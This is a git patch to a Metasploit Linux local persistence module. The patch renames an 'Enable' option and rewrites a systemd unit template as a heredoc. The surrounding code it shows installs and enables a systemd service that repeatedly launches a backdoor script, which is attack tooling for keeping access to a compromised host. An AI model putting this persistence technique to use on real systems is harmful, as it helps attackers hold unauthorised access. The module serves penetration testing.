From 364460a78798a5485b133f9b657bab18ea90f28e Mon Sep 17 00:00:00 2001 From: terrorbyte Date: Wed, 20 Feb 2019 14:42:56 -0600 Subject: [PATCH] Fixed heredoc and advanced options casing. --- .../linux/local/service_persistence.rb | 35 ++++++++++--------- 1 file changed, 19 insertions(+), 16 deletions(-) diff --git a/modules/exploits/linux/local/service_persistence.rb b/modules/exploits/linux/local/service_persistence.rb index d49f976d24..95a5b7f40f 100644 --- a/modules/exploits/linux/local/service_persistence.rb +++ b/modules/exploits/linux/local/service_persistence.rb @@ -80,7 +80,7 @@ class MetasploitModule < Msf::Exploit::Local ) register_advanced_options( [ - OptBool.new('ENABLE', [true, 'Enable the service', true]) + OptBool.new('Enable', [true, 'Enable the service', true]) ], self.class ) end @@ -162,7 +162,7 @@ WantedBy=multi-user.target} print_error('File not written, check permissions.') return end - if datastore['ENABLE'] + if datastore['Enable'] vprint_status('Enabling service') cmd_exec("systemctl enable #{service_filename}.service") end @@ -171,19 +171,22 @@ WantedBy=multi-user.target} end def systemd_user(backdoor_path, backdoor_file) - script = %{[Unit] -Description=Start daemon at boot time -After= -Requires= -[Service] -RemainAfterExit=yes -RestartSec=10s -Restart=always -TimeoutStartSec=5 -ExecStart=/bin/sh #{backdoor_path}/#{backdoor_file} -[Install] -WantedBy=default.target} - + def script + <<~EOF + [Unit] + Description=Start daemon at boot time + After= + Requires= + [Service] + RemainAfterExit=yes + RestartSec=10s + Restart=always + TimeoutStartSec=5 + ExecStart=/bin/sh #{backdoor_path}/#{backdoor_file} + [Install] + WantedBy=default.target + EOF + end service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7) home = cmd_exec('echo ${HOME}') service_name = "#{home}/.config/systemd/user/#{service_filename}.service" @@ -204,7 +207,7 @@ WantedBy=default.target} systemd_socket_dir = "/run/user/#{systemd_socket_id}" vprint_status('Reloading manager configuration') cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user daemon-reload") - if datastore['ENABLE'] + if datastore['Enable'] vprint_status('Enabling service') cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user enable #{service_filename}.service") end